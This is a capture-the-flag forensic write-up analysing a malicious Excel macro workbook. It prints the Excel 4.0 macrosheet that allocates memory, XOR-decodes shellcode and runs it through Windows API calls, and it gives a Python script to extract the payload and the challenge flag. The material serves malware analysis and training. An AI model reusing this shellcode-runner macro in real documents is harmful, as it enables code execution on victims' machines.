Forensic - Free Services
Following the training carried out with the GCC team in order to participate in the CTF Cyber ​​Apocalypse 2023, we have carried out a replay of last year's challenges.
In this context I offer you a write up giving my journey and my thoughts throughout the realization of this one
đź“śScenario
🔎Solve
Fisrt of all get the free_dec.xlsm file
Identify the kind of file
$ file free_dec.xlsm
free_dec.xlsm: Microsoft Excel 2007+
I tried some tool to identify macro or other kind of stuff but nothing work
$ olevba free_decryption.xlsm
$ python3 oledump.py free_decryption.xlsm
$ xlmdeobfuscator -f free_decryption.xlsm
Unzip it to get the tree
$ unzip free_dec.xlsm
Archive: free_dec.xlsm
inflating: [Content_Types].xml
inflating: _rels/.rels
inflating: xl/workbook.xml
inflating: xl/_rels/workbook.xml.rels
inflating: xl/worksheets/sheet1.xml
inflating: xl/macrosheets/sheet1.xml
inflating: xl/theme/theme1.xml
inflating: xl/styles.xml
inflating: xl/sharedStrings.xml
inflating: xl/drawings/drawing1.xml
extracting: xl/media/image1.png
inflating: xl/worksheets/_rels/sheet1.xml.rels
inflating: xl/drawings/_rels/drawing1.xml.rels
inflating: xl/metadata.xml
inflating: xl/richData/rdrichvalue.xml
inflating: xl/richData/rdrichvaluestructure.xml
inflating: xl/richData/rdRichValueTypes.xml
inflating: docProps/core.xml
inflating: docProps/app.xml
Read and beautify xml macrosheets to find memory injection instruction
$ xmlstarlet fo xl/macrosheets/sheet1.xml
We can open the xslm file with LibreOffice Calc, so that the macros for excel are not executed and you can browse the file quietly. You can also use sandbox tools like Joe SandBox or HybridAnalysis.
=select(E1:G258)
=call("Kernel32","VirtualAlloc","JJJJJ",0,386,4096,64)
=set.value(C1, 0)
=for("counter",0,772,2)
=set.value(B1,CHAR(BITXOR(active.cell(),24)))
=call("Kernel32","WriteProcessMemory","JJJCJJ",-1, A2 + C1,β1, LEN(β1), 0)
=set.value(C1, C1 + 1)
=select(, "RC[2]")
=next()
=CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, R2C6, 0, 0, 0)
=workbook.activate("Sheet1")
HALT()
The calls are referencing functions in what is known as the Windows API. Like most API’s, it’s for abstraction.
This chain of function calls, VirtualAlloc, WriteProcessMemory, and CreateThread is a well-known combo used for a shellcode runner/dropper. From a very high level, VirtualAlloc will allocate a certain amount of memory in the current process, WriteProcessMemory is used to write into that buffer, and then CreateThread is used to execute that code.
Based on extracted instruction we found on the Excel sheet we can rebuild the intended process of the shellcode :
array = the shellcode array
Allocate 386 bytes into the current process (?)
for c1 = 0; c1 < 772; c1 += 2{
b1 = array[c1] ^ 24
Write b1 into the current process memory
c1 += 1
}
CreateThread
The pseudocode isn’t very structured, but the gist of it is that we take every other byte from the shellcode, XOR with 24, write all of that into the current process’ memory, and execute it.
def read_file(nom_fichier):
donnees = []
with open(nom_fichier, 'r') as f:
for ligne in f:
colonnes = ligne.split()
print(colonnes)
if len(colonnes) == 3:
for donne in colonnes:
donnees.append(int(donne))
else:
donnees.append(int(colonnes[0]))
return donnees
liste = read_file("numbers.txt")
print(liste)
hexstring = b""
for i in range(0, len(liste), 2):
b = liste[i]
b = b ^ 24
hexstring += bytes([b])
print(hexstring.hex())
with open('out.bin', 'wb') as f:
f.write(hexstring)
$ xxd out.bin
The LOLBAS binary utilman.exe is being used to get some kind of persistence/backdoor, and the flag is HTB{1s_th1s_g4l4xy_l0st_1n_t1m3??!}.